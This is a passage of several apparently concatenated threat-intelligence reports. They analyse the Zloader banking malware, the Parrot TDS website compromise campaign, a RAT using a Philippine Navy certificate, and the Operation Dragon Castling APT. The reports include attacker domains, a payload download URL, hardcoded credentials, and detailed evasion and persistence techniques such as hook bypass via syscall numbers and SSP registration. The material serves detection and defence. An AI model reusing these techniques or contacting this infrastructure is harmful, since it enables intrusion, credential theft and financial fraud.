Injecting WebInjects into the pages visited using browsers
Downloading and execute arbitrary file
Keylogging
Making screenshots
Stealing files and sending to C&C
Stealing files
The largest group of software from which Zloader steal files is crypto wallets:
Electrum
Ethereum
Exodus cryptowallet
Zcash
Bitcoin-Qt
Etc.
It also steals data from browsers: cookies from Chrome, Firefox and IE; saved logins from Chrome. And, finally, it is able to steal accounts information from Microsoft Outlook.
Hooking
To achieve his goals, Zloader performs WinAPI hooking. In order to perform it, Backdoor module enumerates processes and injects itself into the following ones:
explorer.exe
msiexec.exe
iexplore.exe
firefox.exe
chrome.exe
msedge.exe
64-bit version of Backdoor is injected into 64-bit processes, 32-bit version – into 32-bit processes.
Injected code hooks the following WinAPI functions:
NtCreateUserProcess
NtCreateThread
ZwDeviceIoControlFile
TranslateMessage
CertGetCertificateChain
CertVerifyCertificateChainPolicy
Hooks might be divided in 3 groups, depending on the purpose:
NtCreateUserProcess and NtCreateThread are hooked to inject a Backdoor module to newly created threads and processes.
ZwDeviceIoControlFile, CertGetCertificateChain and CertVerifyCertificateChainPolicy are hooked to support WebInjection mechanism
TranslateMessage is hooked to log the keys pressed and to create screenshots
Web Injecting
First of all, browsers must have a Backdoor module injected. At this moment, there are multiple instances of Backdoor Modules running in the system: one, started by Downloader which is “Main Instance” and others, running in browsers. Main Instance starts Man-in-the-browser proxy, other modules hooks ZwDeviceIoControlFile and cert-related WinAPIs (see above). Proxy port number is stored in the BinStorage structure into the Registry, so it is synchronized between Backdoor instances.
Hooked ZwDeviceIoControlFile function is waiting for IOCTL_AFD_CONNECT or IOCTL_AFD_SUPER_CONNECT and routing connections to the proxy. Hooked cert-related functions inform browsers what everything is good with certificates.
Botnets, Campaigns and their activity
Most active botnets and campaigns use RC4 key 03d5ae30a0bd934a23b6a7f0756aa504 and we’ll focus on them in our analysis. Samples with the aforementioned key have versions 1.x, usually 1.6.28, but some have even 1.0.x.
Botnet and Campaign names
Among botnet names it is worth mentioning the following groups:
DLLobnova, AktualizacjaDLL, googleaktualizacija, googleaktualizacija1, obnovlenie19, vasja, ivan
9092zi, 9092ti, 9092ca, 9092us, 909222, 9092ge
The first one contains transliterated Slavic words and names (vasja, ivan), maybe with errors. It sheds light on the origins of bad guys – they are definitely Slavs.
Samples with botnet names from the second group were first observed in November 2021 and we found 6 botnet names from this group in the next two months. Letters after numbers, like ca and us might be country codes.
We see the same picture with campaign names: quite a big amount of Slavic words and the same 9092* group.
WebInjects
We analyzed webinjects and can confirm that they are targeting financial companies: banks, brokerage firms, insurance companies, payment services, cryptocurrency-related services etc.
Injected code is usually small: from dozens of bytes up to 20 kb. To perform its tasks, it loads JavaScript code from external domains, controlled by bad guys. Analysis of these domains allowed us to find connections between Zloader operators and other cybercrime gangs.
Download tasks
Zloader is able to download and execute arbitrary files by the commands from his C&Cs, but for a long time we haven’t seen these commands at all. Things changed on 24 November 2021, when botnet 9092ca received a command to download and execute the file from teamworks455[.]com. This domain was mentioned in [6].
Another two download tasks contained braves[.]fun and endoftheendi[.]com
Connections
During our tracking we have noticed links to other malware families we originally thought were unrelated.
Raccoon Stealer
Two out of three download tasks contained links to Raccoon Stealer. Downloaded samples have the following sha256 hashes:
Both of them have the same Raccoon configuration with Telegram channel kumchakl1.
Moreover, Raccoon was mentioned in [6] before we received commands from C&Cs with links to Raccoon. We are lost in conjecture why Zloader operators used Raccoon Stealer? You can read our dive into Racoon stealer here.
Ursnif
Ursnif, also known as Gozi and ISFB is another banking malware family with similar functions.
Digital Signatures
It was quite a big surprise when we found Zloader samples and Ursnif samples signed with the same digital signature!
As an example, consider a signature: Issuer BABJNCXZHQCJUVWAJJ Thumbprint 46C79BD6482E287647B1D6700176A5F6F5AC6D57.
Zloader sample signed with it has a SHA256 hash: 2a9ff0a0e962d28c488af9767770d48b9128b19ee43e8df392efb2f1c5a696f.
Signed Ursnif sample has a SHA256 hash: 54e6e6b23dec0432da2b36713a206169468f4f9d7691ccf449d7d946617eca45
It is not the only digital signature, shared among Ursnif and Zloader samples.
Infrastructure
As we mentioned before, the first observed download command contained a link to teamworks455[.]com. We checked the TLS certificate for this site and realized that it was for another site – dotxvcnjlvdajkwerwoh[.]com. We saw this hostname on 11 November 2021 in Ursnif webinjects, it was used to receive stolen data.
Another example – aerulonoured[.]su – host used by Zloader to receive stolen data at least from August 2021. It also appeared in Ursnif webinjects in November 2021.
Third example – qyfurihpsbhbuvitilgw[.]com which was found in Zeus configuration update, received from C&C on 20 October 2021. It must be added to a C&C list and then used by Zloader bots. The same domain was found in Ursnif webinjects on 1 November 2021
And, finally, 4th example – etjmejjcxjtwweitluuw[.]com This domain was generated using DGA from key 03d5ae30a0bd934a23b6a7f0756aa504 and date – 22 September 2021. We have very strong evidence that it was active on that date as a Zloader C&C. The same host was found in Ursnif WebInjects on 1 November 2021
Conclusion
We are proud we could be part of the investigation as we continue our mission to make the world a safer place for everybody. We hope for a successful takedown of the Zloader botnet and prosecution of people who created and operated it.
A new Traffic Direction System (TDS) we are calling Parrot TDS, using tens of thousands of compromised websites, has emerged in recent months and is reaching users from around the world. The TDS has infected various web servers hosting more than 16,500 websites, ranging from adult content sites, personal websites, university sites, and local government sites.
Parrot TDS acts as a gateway for further malicious campaigns to reach potential victims. In this particular case, the infected sites’ appearances are altered by a campaign called FakeUpdate (also known as SocGholish), which uses JavaScript to display fake notices for users to update their browser, offering an update file for download. The file observed being delivered to victims is a remote access tool.
The newly discovered TDS is, in some aspects, similar to the Prometheus TDS that appeared in the spring of 2021 [1]. However, what makes Parrot TDS unique is its robustness and its huge reach, giving it the potential to infect millions of users. We identified increased activity of the Parrot TDS in February 2022 by detecting suspicious JavaScript files on compromised web servers. We analysed its behaviour and identified several versions, as well as several types of campaigns using Parrot TDS. Based on the appearance of the first samples and the registration date of the Command and Control (C2) domains it uses, Parrot TDS has been active since October 2021.
One of the main things that distinguishes Parrot TDS from other TDS is how widespread it is and how many potential victims it has. The compromised websites we found appear to have nothing in common apart from servers hosting poorly secured CMS sites, like WordPress sites. From March 1, 2022 to March 29, 2022, we protected more than 600,000 unique users from around the globe from visiting these infected sites. In this time frame, we protected the most users in Brazil, more than 73,000 unique users, India, nearly 55,000 unique users, and more than 31,000 unique users from the US.
Map illustrating the countries Parrot TDS has targeted (in March)
Compromised Websites
In February 2022, we identified a significant increase in the number of websites that contained malicious JavaScript code. This code was appended to the end of almost all JavaScript on the compromised web servers we discovered. Over time, we identified two versions (proxied and direct) of what we are calling Parrot TDS.
In both cases, web servers with different content management systems (CMS) were compromised. Most often WordPress in various versions, including the latest one or Joomla, were affected. Since the compromised web servers have nothing in common, we assume the attackers took advantage of poorly secured servers, with weak login credentials, to gain admin access to the servers, but we do not have enough information to confirm this theory.
Proxied Version
The proxied version communicates with the TDS infrastructure via a malicious PHP script, usually located on the same web server, and executes the response content. A deobfuscated code snippet of the proxied version is shown below.
Malicious JavaScript Code
This code performs basic user filtering based on the User-Agent string, cookies and referrer. Briefly said, this code contacts the TDS only once for each user who visits the infected page. This type of filtering prevents multiple repeating requests and possible server overload.
The aforementioned PHP script serves two purposes. The first is to extract client information like the IP address, referrer and cookies, forward the request from the victim to the Parrot TDS C2 server and send the response in the other direction.
The second functionality allows an attacker to perform arbitrary code execution on the web server by sending a specifically crafted request, effectively creating a backdoor. The PHP script uses different names and is located in different locations, but usually, its name corresponds to the name of the folder it is in (hence the name of the TDS, since it parrots the names of folders).
In several cases, we also identified a traditional web shell on the infected web servers, which was located in various locations under different names but still following the same “parroting” pattern. This web shell likely allowed the attacker more comfortable access to the server, while the backdoor in the PHP script mentioned above was used as a backup option. An example of a web shell identified on one of the compromised web servers is shown below.
Traditional web shell GUI
Since we have seen several cases of reinfection, it is highly likely that the server automatically restores possibly deleted files using, for example, a cron job. However, we do not have enough information to confirm this theory.
Direct Version
The direct version is almost identical to the previous one. This version utilises the same filtering technique. However, it sends the request directly to the TDS C2 server and, unlike the previous version, omits the malicious backdoor PHP script. It executes the content of the response the same way as the previous version. The whole communication sequence of both versions is depicted below. We experimentally verified that the TDS redirects from one IP address only once.
Infection chain sequence diagram
Identified Campaigns
The Parrot TDS response is JavaScript code that is executed on the client. In general, this code can be arbitrary and exposes clients to further danger. However, in practice, we have seen only two types of responses. The first, shown below, is simply setting the __utma cookie on the client. This happens when the client should not be redirected to the landing page. Due to the cookie-based user filtering mentioned above, this step effectively prevents repeated requests on Parrot TDS C2 servers in the future.
Benign Parrot TDS C2 Response
The next code snippet shows the second type, which is a campaign redirection targeting Windows machines.
Malicious Parrot TDS C2 Response
FakeUpdate Campaign
The most prevalent “customer” of Parrot TDS we saw in the wild was the FakeUpdate campaign. The previous version of this campaign was described by MalwareBytes Lab in 2018 [2]. Although the version we identified slightly differs from the 2018 version, the core remains the same. The user receives JavaScript that changes the appearance of the page and tries to force the user to download malicious code. An example of what such a page looks like is shown below.
FakeUpdate Campaign
This JavaScript also contains a Base64 encoded ZIP file with one malicious JavaScript file inside. Once the user downloads the ZIP file and executes the JavaScript it contains, the code starts fingerprinting the client in several stages and then delivers the final payload.
User Filtering
The entire infection chain is set up so that it is complicated to replicate and, therefore, to investigate it. Parrot TDS provides the first layer of defence, which filters users based on IP address, User-Agent and referrer.
The FakeUpdate campaign provides the second layer of defence, using several mechanisms. The first is using unique URLs that deliver malicious content to only one specific user.
The last defence mechanism is scanning the user’s PC. This scan is performed by several JavaScript codes sent by the FakeUpdate C2 server to the user. This scan harvests the following information.
Name of the PC
User name
Domain name
Manufacturer
Model
BIOS version
Antivirus and antispyware products
MAC address
List of processes
OS version
An overview of the process is shown in the picture below. The first part represents the Parrot TDS filtering based on the IP address, referrer and cookies, and after the user successfully passes these tests, the FakeUpdate page appears. The second part represents the FakeUpdate filtering based on a scan of the victim’s device.
Overview of the filtering process
Final Payload
The final payload is then delivered in two phases. In the first phase, a PowerShell script is dropped and run by the malicious JavaScript code. This PowerShell script is downloaded to a temporary folder under a random eight character name (e.g. %Temp%\1c017f89.ps1). However, the name of this PowerShell is hardcoded in the JavaScript code. The content of this script is usually a simple whoami /all command. The result is sent back to the C2 server.
In the second phase, the final payload is delivered. This payload is downloaded to the AppData\Roaming folder. Here, a folder with a random name containing several files is dropped. The payloads we have observed so far are part of the NetSupport Client remote access tool and allow the attacker to gain easy access to the compromised machines [3].
The RAT is commonly named ctfmon.exe (mimicking the name of a legitimate program). It is also automatically started when the computer is switched on by setting an HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Runregistry key.
NetSupport mimicking the name of a legitimate Microsoft service
NetSupport Client Installed on the compromised machine
The installed NetSupport Manager tool is configured so that the user has very little chance of noticing it and, at the same time, gives the attacker maximum opportunities. The tool basically gives the attacker full access to the victim’s machine. To run unnoticed, chat functions are disabled, and the silent option is set on the tool, for example. A gateway is also set up that allows the attacker to connect to the client from anywhere in the world. So far, we’ve seen Chinese domains in the tool’s configuration files used as gateways. The following picture below shows the client settings.
NetSupport Client Settings
Phishing
We identified several infected servers hosting phishing sites. These phishing sites, imitating, for example, a Microsoft office login page, were hosted on compromised servers in the form of PHP scripts. The figure below shows the aforementioned Microsoft phishing observed on an otherwise legitimate site. We don’t have enough information to assign this to Parrot TDS directly. However, a significant number of the compromised servers contained phishing as well.
Microsoft Phishing hosted on the compromised web server
Conclusion and Recommendation
We have identified an extensive infrastructure of compromised web servers that served as TDS and put a large number of users at risk. Given that the attacker had almost unlimited access to tens of thousands of web servers, the above list of campaigns is undoubtedly not exhaustive.
The Avast Threat Labs has several recommendations for developers to avoid their servers from being compromised.
Scan all files on the web server with Avast Antivirus.
Replace all JavaScript and PHP files on the web server with original ones.
Use the latest CMS version.
Use the latest versions of installed plugins.
Check for automatically running tasks on the web server (for example, cron jobs).
Check and set up secure credentials. Make sure to always use unique credentials for every service.
Check the administrator accounts on the server. Make sure each of them belongs to you and have strong passwords.
When applicable, set up 2FA for all the web server admin accounts.
Use some of the available security plugins (WordPress, Joomla).
* In attempts to prevent further attacks onto the infected servers, we are providing this hash on demand. Please DM us on Twitter or reach us out at [email protected].
Avast Threat Intelligence Team has found a remote access tool (RAT) actively being used in the wild in the Philippines that uses what appears to be a compromised digital certificate belonging to the Philippine Navy. This certificate is now expired but we see evidence it was in use with this malware in June 2020.
Based on our research, we believe with a high level of confidence that the threat actor had access to the private key belonging to the certificate.
Because this is being used in active attacks now, we are releasing our findings immediately so organizations can take steps to better protect themselves. We have found that this sample is now available on VirusTotal.
Compromised Expired Philippine Navy Digital Certificate
In our analysis we found the sample connects to dost[.]igov-service[.]net:8443 using TLS in a statically linked OpenSSL library.
A WHOIS lookup on the C&C domain gave us the following:
The digital certificate was pinned so that the malware requires the certificate to communicate.
When we checked the digital certificate used for the TLS channel we found the following information:
Some important things to note:
The certificate is a valid certificate with a subject of *.navy.mil.ph, the Philippine Navy.
The certificate has recently expired: it was valid for one year, from Sunday December 15, 2019 until Tuesday December 15, 2020.
Based on our research, we believe with a high level of confidence that the threat actor had access to the private key belonging to the certificate.
While the digital certificate is now expired we see evidence it was in use with this malware in June 2020.
The malicious PE file was found with filename: C:\Windows\System32\wlbsctrl.dll and its hash is: 85FA43C3F84B31FBE34BF078AF5A614612D32282D7B14523610A13944AADAACB.
In analyzing that malicious PE file itself, we found that the compilation timestamp is wrong or was edited. Specifically, the TimeDateStamp of the PE file was modified and set to the year 2004 in both the PE header and Debug Directory as shown below:
However, we found that the author used OpenSSL 1.1.1g and compiled it on April 21, 2020 as shown below:
The username of the author was probably udste. This can be seen in the debug information left inside the used OpenSSL library.
We found that the malware supported the following commands:
run shellcode
read file
write file
cancel data transfer
list drives
rename a file
delete a file
list directory content
Some additional items of note regarding the malicious PE file:
All configuration strings in the malware are encrypted using AES-CBC with the exception of the mutex it uses.That mutex is used as-is without decryption: t7As7y9I6EGwJOQkJz1oRvPUFx1CJTsjzgDlm0CxIa4=.
When this string is decrypted using the hard-coded key it decrypts to QSR_MUTEX_zGKwWAejTD9sDitYcK. We suspect that this is a failed attempt to disguise this malware as the infamous Quasar RAT malware. But this cannot be the case because this sample is written in C++ and the Quasar RAT is written in C#.
Avast customers are protected against this malware.
We recently discovered an APT campaign we are calling Operation Dragon Castling. The campaign is targeting what appears to be betting companies in South East Asia, more specifically companies located in Taiwan, the Philippines, and Hong Kong. With moderate confidence, we can attribute the campaign to a Chinese speaking APT group, but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after.
We found notable code similarity between one of the modules used by this APT group (the MulCom backdoor) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in their 2017report and Palo Alto Networks in their 2015report. Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed.
In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines. We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, WPSOffice.
We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused.
We would like to thank Taiwan’s TeamT5 for providing us with IoCs related to the infection vector.
Infrastructure and toolset
In the diagram above, we describe the relations between the malicious files. Some of the relations might not be accurate, e.g. we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin. However, we strongly believe that it is one of the malicious files used in this campaign.
Infection Vector
We’ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software. In this post, we are going to describe another vector we’ve seen: a fake WPS Office update package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe, which is a part of the WPS Office installation package. We have contacted WPS Office team about the vulnerability (CVE-2022-24934), which we discovered, and it has since been fixed.
During our investigation we saw suspicious behavior in the WPS updater process. When analyzing the binary we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victim’s system, including downloading and running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs to be modified, and by doing this an attacker gains persistence on the system and control over the update process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn, which is a domain belonging to Kingsoft, but the serving IP (103.140.187.16) has no relationship to the company, so we assume that it is a fake update server used by the attackers. The downloaded binary (setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe - B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954) drops two files for sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL QMSpeedupRocketTrayStub64.dll.
The first stage is a backdoor communicating with a C&C (mirrors.centos.8788912[.]com). Before contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions: GetProcAddress, FreeLibrary, LdrUnloadDll. To get the C&C domain, it maps itself to the memory and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary.
Then it initializes an object for a JScript class with the named item ScriptHelper. The dropper uses the ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to HKEY_CURRENT_USER of an impersonated user. For communication with C&C it constructs a UserAgent string with some system information e.g. Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the “User Agent\Post Platform”registry values.
After that, the sample constructs JScript code to execute. The header of the code contains definitions of two variables: server with the C&C domain name and a hardcoded key. Then it sends the HTTP GET request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to the constructed header and executed using the JScript class created previously.
At the time of analysis, the C&C was not responding, but from the telemetry data we can conclude that it was downloading the next stage from hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to %ProgramData%\icbc_logtmp.exe and executing it.
The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session Moniker Privilege Escalation (MS17-012), then dropping a few binaries, which are stored with the following resource IDs:
Resource ID
Filename
Description
1825
smcache.dat
List of C&C domains
1832
log.dll
Loader (CoreX) 64bit
1840
bdservicehost.exe
Signed PE for sideloading 64bit
1841
N/A
Filenames for sideloading
1817
inst.dat
Working path
1816
hostcfg.dat
Used in the Host header, in C&C communication
1833
bdservicehost.exe
Signed PE for sideloading 32bit – N/A
1831
log.dll
Loader (32bit) – N/A
The encrypted payloads have the following structure:
The encryption key is a wide string starting from offset 0x8. The encrypted data starts at the offset 0x528. To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256 algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer. To verify that the decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed to run the next stage.
The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper. Similarly to Dropper 1, it hooks the GetProcAddress and FreeLibrary API functions. These hooks execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe and then it retrieves encrypted data from its resources. This data is dropped into the same folder as syscfg.dat. The file is then loaded and decrypted using AES-256 with the following options for setup:
Key is the computer name and IV is qwertyui12345678
AES-256 setup parameters are embedded in the resource in the format <key>#<IV>. So you may e.g. see cbfc2vyuzckloknf#8o3yfn0uee429m8d
AES-256 setup parameters
The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel service. If the ESET Kernel service is running, it will try to remap ntdll.dll. We assume that this is used to bypass ntdll.dll hooking.
After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage. The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll and builds an array with hashes of names of all Zw* functions (windows native API system calls) then sorts them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed.
The core module is a single DLL that is responsible for setting up the malware’s working directory, loading configuration files, updating its code, loading plugins, beaconing to C&C servers and waiting for commands.
It has a cascading structure with four steps:
Step 1
The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that the DLL is being run by spdlogd.exe (an executable used for persistence, see below) or that it is not being run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the GetProcAddress and FreeLibrary functions in order to execute the main function, similarly to the previous infection stages.
The GetProcAddress hook contains an interesting debug output “in googo”.
The malware then creates a new window (named Sample) with a custom callback function. A message with the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to execute the main function. The callback function can also process the 0x412 message ID, even though no specific functionality is tied to it.
Exported function Core2 sends message 0x411
Exported function Ldr2 sends message 0x412
The window callback only contains implementation for message 0x411 but there is a check for 0x412 as well
Step 2
In the second step, the module tries to self-update, load configuration files and set up its working directory (WD).
Self-update
The malware first looks for a file called new_version.dat – if it exists, its content is loaded into memory, executed in a new thread and a debug string “run code ok” is printed out. We did not come across this file, but based on its name and context, this is most likely a self update functionality.
Load configuration file inst.dat and set up working directory. First, the core module configuration file inst.dat is searched for in the following three locations:
the directory where the core module DLL is located
the directory where the EXE that loaded the core module DLL it is located
C:\ProgramData\
It contains the path to the malware’s working directory in plaintext. If it is not found, a hard-coded directory name is used and the directory is created. The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases.
Load configuration file smcache.dat.
After the working directory is set up, the sample will load the configuration file smcache.dat from it. This file contains the domains, protocols and port numbers used to communicate with C&C servers (details in Step 4) plus a “comment” string. This string is likely used to identify the campaign or individual victims. It is used to create an empty file on the victim’s computer (see below) and it’s also sent as a part of the initial beacon when communicating with C&C servers. We refer to it as the “comment string” because we have seen a few versions of smcache.dat where the content of the string was “the comment string here” and it is also present in another configuration file with the name comment.dat which has the INI file format and contains this string under the key COMMENT.
Create a log file
Right after the sample finds and reads smcache.dat, it creates a file based on the victim’s username and the comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value (for example M86_99.lck). Based on the extension it could be a log of some sort, but we haven’t seen any part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the malware creates a mutex and goes on to the next step.
Step 3
Next, the malware collects information about the infected environment (such as username, DNS and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list of “call objects”. Call objects are structures each associated with a particular function and saved into a “dispatcher” structure in a map with hard-coded 4-byte keys. These keys are later used to call the functions based on commands from C&C servers.
The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that we’ve seen. For example, the function that calls the RevertToSelf function is identified by the number 0x20210326 in some versions of the core module that we’ve seen and0x19181726in others. This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function.
ID (last byte)
Function description
0x02
unimplemented function
0x19
retrieves content of smcache.dat and sends it to the C&C server
0x1A
writes data to smcache.dat
0x25
impersonates the logged on user or the explorer.exe process
0x26
function that calls RevertToSelf
0x31
receives data and copies it into a newly allocated executable buffer
0x33
receives core plugin code, drops it on disk and then loads and calls it
0x56
writes a value into comment.dat
Webdav
While initializing the call objects the core module also tries to connect to the URL hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by calling WNetAddConnection3W. This address was not responsive at the time of analysis but jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself.
Plugins
The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name kbg<tick_count>.dat in the malware working directory, loads it into memory and then calls its exported function InitCorePlug. The plugin file on disk is set to be deleted on reboot by calling MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT. For more information about the plugins, see the dedicated Plugins section.
Step 4
In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file and will try to reach each one. The structure of the smcache.dat config file is as follows:
The structure of the smcache.dat config file
The protocol string can have one of nine possible values:
TCP
HTTPS
UDP
DNS
ICMP
HTTPSIPV6
WEB
SSH
HTTP
Depending on the protocol tied to the particular C&C domain, the malware sets up the connection, sends a beacon to the C&C and waits for commands.
In this blogpost, we will mainly focus on the HTTP protocol option as we’ve seen it being used by the attackers.
When using the HTTP protocol, the core module first opens two persistent request handles – one for POST and one for GET requests, both to “/connect”. These handles are tested by sending an empty buffer in the POST request and checking the HTTP status code of the GET request. Following this, the malware sends the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened POST request handle and reads data from the GET request handle by calling InternetReadFile.
HTTP packet order
HTTP POST beacon
The core module uses the following (mostly hard-coded) HTTP headers:
Accept: */*
x-cid: {<uuid>} – new uuid is generated for each GET/POST request pair
Pragma: no-cache
Cache-control: no-transform
User-Agent: <user_agent> – generated from registry or hard-coded (see below)
Host: <host_value> – C&C server domain or the value from hostcfg.dat (see below)
Connection: Keep-Alive
Content-Length: 4294967295 (max uint, only in the POST request)
User-Agent header
The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access fails: “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)”.
Host header
When setting up this header, the malware looks for either a resource with the ID 1816 or a file called hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat. It does not change the actual C&C domain to which the request is made – this suggests the possibility of the C&C server being behind a reverse proxy.
Initial beacon
The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim’s username, OS version and architecture, computer DNS and BIOS names and the comment string found in smcache.dat or comment.dat. The value from comment.dat takes precedence if this file exists.
In the core module sample we analyzed, there was actually a typo in the function that reads the value from comment.dat – it looks for the key “COMMNET” instead of “COMMENT”.
After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of one of the call objects. Each message sent to the C&C server contains a hard-coded four byte number value with the same structure as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C servers that we’ve seen are:
ID (last byte)
Usage
0x1B
message to C&C which contains smcache.dat content
0x24
message to C&C which contains a debug string
0x2F
general message to C&C
0x30
message to C&C, unknown specific purpose
0x32
message to C&C related to plugins
0x80
initial beacon to a C&C server
Interesting observations about the protocols, other than the HTTP protocol:
HTTPS does not use persistent request handles
HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial beacon
HTTPS, TCP and UDP use a custom “magic” header: Magic-Code: hhjjdfgh
General observations on the core module
The core samples we observed often output debug strings via OutputDebugStringA and OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core module are: its filepath at the beginning of execution, “run code ok” after self-update, “In googo” in the hook of GetProcAddress, “recv bomb” and “sent bomb” in the main C&C communicating function, etc.
String obfuscation
We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key.
Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which won’t. For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not.
To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to WritePrivateProfileStringW.
Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for C&C communication), however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders.
Plugins
In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to extend its functionality.
We are going to describe three plugins with various functionalities, such as:
This plugin is a DLL binary loaded by the fileless core module (Proto8) as mentioned above. It extends the malware’s functionality by adding methods for managing additional plugins. These additional plugins export the function "GetPlugin" which the core plugin executes.
This part uses the same command ID based calling convention as the core module (see above), adding three new methods:
ID (last byte)
Function description
0x2B
send information about plugin location to the to C&C server
0x2C
remove a plugin
0x2A
load a plugin
All plugin binaries used by the core module are stored in the working directory under the name kbg<tick_count>.dat. After the Core Plugin is loaded, it first removes all plugins from the working directory – see the image below.
The DLL we call Zload is an example of a plugin loaded by the Core Plugin. It exports four functions: “GetPlugin”, “Install”, “core_zload” and ”zload”. The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus on the exported functions zload, core_zload and the default DllMain function, as they contain the most interesting functionality.
Zload (process starter)
This function is fairly simple, its main objective is to execute another binary. It first retrieves the path to the directory where the Zload plugin binary is located (<root_folder>) and creates a new subfolder called "mec" in it. After this it renames and moves three files into it:
the Zload plugin binary itself as <root_folder>\mec\logexts.dll,
<root_folder>\spdlogd.exe as <root_folder>\mec\spdagent.exe and
<root_folder>\kb.ini as <root_folder>\mec\kb.ini
After the files are renamed and moved, it creates a new process by executing the binary <root_folder>\mec\spdagent.exe (originally <root_folder>\spdlogd.exe).
core_zload (persistence setup)
This function is responsible for persistence which it achieves by registering itself into the list of security support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA) process when the system boots. The code of this function is notably similar to the mimikat_ssp/AddSecurityPackage_RawRPCsource code found on github.
DllMain (sideloading, setup)
The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker to create a backdoor account on the infected system and lower the overall system security.
Persistence
The plugin first checks if its DLL was loaded either by the processes “lsass.exe” or “spdagent.exe”. If the DLL was loaded by “spdagent.exe”, it will adjust the token privileges of the current process.
